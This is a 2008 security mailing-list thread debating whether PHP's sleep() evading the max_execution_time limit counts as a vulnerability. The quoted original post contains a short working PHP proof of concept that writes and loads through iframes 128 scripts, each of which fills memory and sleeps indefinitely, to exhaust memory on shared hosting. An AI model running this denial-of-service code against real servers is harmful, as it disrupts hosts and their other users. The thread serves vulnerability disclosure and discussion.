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Re: function sleep() in all versions of PHP
From: "Charles Morris" <cmorris () cs odu edu>
Date: Tue, 27 May 2008 13:13:32 -0400
Mark, I agree with you that this is a known issue, and that there are ways around it, however I would in fact call it a vulnerability. The reasoning behind this is behind the definition of vulnerability, and here is a good one: "a weakness in a system allowing unauthorized action [(NRC91:301; Amo94:2) Sandia] A flaw or weakness in a system's design, implementation, or operation and management that could be exploited to violate the system's security policy. ..." [http://www.terena.org/activities/tf-csirt/iodef/docs/i-taxonomy_terms.html] In this case a security policy has been designated with the "max_execution_time" directive and that policy is being violated by the blocking code. As you say there are ways around this, (kill script, resource limiting, etc..) however there can be similar mitigating circumstances in any situation where you have a vulnerability (firewall, executable stack protection, etc..). As with any vulnerability it is the vendor's responsibility to provide a fix and protect it's users. Many web developers or administrators may not know of this issue, and therefore will not be providing a mitigation. I am of the opinion that PHP (As PHP (not Apache) is the one providing the "max_execution_time" directive) should automatically interrupt any processes in the process tree from the current script execution to avoid violation of the directive. On Mon, May 26, 2008 at 4:44 PM, Mark Sanders <mark () cyanox nl> wrote:
This vulnerability is not per se a vulnerability but a annoyance that has been dealt with in many ways. It is quite common to not let any process on a web server run longer then a specified time. This is usually made possible by some trivial shell scripting that checks the running time of certain processes. This annoyance is also not limited to PHP. Any scripting language that has the ability to execute something with the means of system() can create and call a script that uses memory and waits indefinitely. This is also an annoyance that will not be seen as a bug or will be "fixed" because it would leave the language almost useless. Although some do attempt to fix this by disabling all possible functions that can execute something like exec, system, eval, etc. but it is not limited to that. The same long wait can be achieved with fsockopen or any other stream function like fread, fwrite, etc. Even if your wait is limited to 60 seconds you can just repeat it in a simple loop and still maintain the very low actual cpu time usage. This is and has never been a security hole or threat. It will also never be. It is just an annoyance for which many solutions are already available. Greetings, Mark Sanders. gogulas () wp pl wrote:There is a quite big problem with sleep() function in php, The max_execution_time set to 60sec. in safe mode can be easy passed by using sleep() funcion, for example this script: <?php sleep(9999999); echo 'Hello World'; ?> Will print hello world after 9999999 seconds... so max_execution_time simply dosnt work :P Why? we can find in manual: "max_execution_time only affect the execution time of the script itself. Any time spent on activity that happens outside the execution of the script such as system calls using system(), stream operations, database queries, etc. is not included when determining the maximum time that the script has been running." including sleep() :P We can use this vuln to run out memory on web/php hosting: <?php if (!file_exists('./temp')) (@mkdir("/temp", 0777))? $temp='temp/': $temp=''; else $temp='temp/'; for($n=0;$n<128;$n++) { $rand = mt_rand(); $fp = fopen("$temp$rand.php", 'w+'); fwrite($fp, '<?php while(memory_get_usage()<16000000) $a.=\'X\'; sleep(999999999); ?>');// for 16mb memory limit fclose($fp); echo "<iframe src=\"$temp$rand.php\" name=$n width=\"10\" height=\"10\"></iframe>"; } ?>
-- Charles Morris cmorris () cs odu edu, cmorris () occs odu edu Network Security Administrator, Software Developer Office of Computing and Communications Services, CS Systems Group Old Dominion University http://www.cs.odu.edu/~cmorris
Current thread:
- function sleep() in all versions of PHP gogulas (May 26)
- Re: function sleep() in all versions of PHP Mark Sanders (May 26)
- Re: function sleep() in all versions of PHP Juan Miguel - Prisma Virtual - (May 27)
- Re: function sleep() in all versions of PHP Charles Morris (May 27)
- Re: function sleep() in all versions of PHP Michael G. Reed (May 27)
- Re: function sleep() in all versions of PHP Glynn Clements (May 28)
- RE: function sleep() in all versions of PHP Michael Wojcik (May 28)
- <Possible follow-ups>
- Re: function sleep() in all versions of PHP cxib (May 27)
- Re: function sleep() in all versions of PHP Mark Sanders (May 26)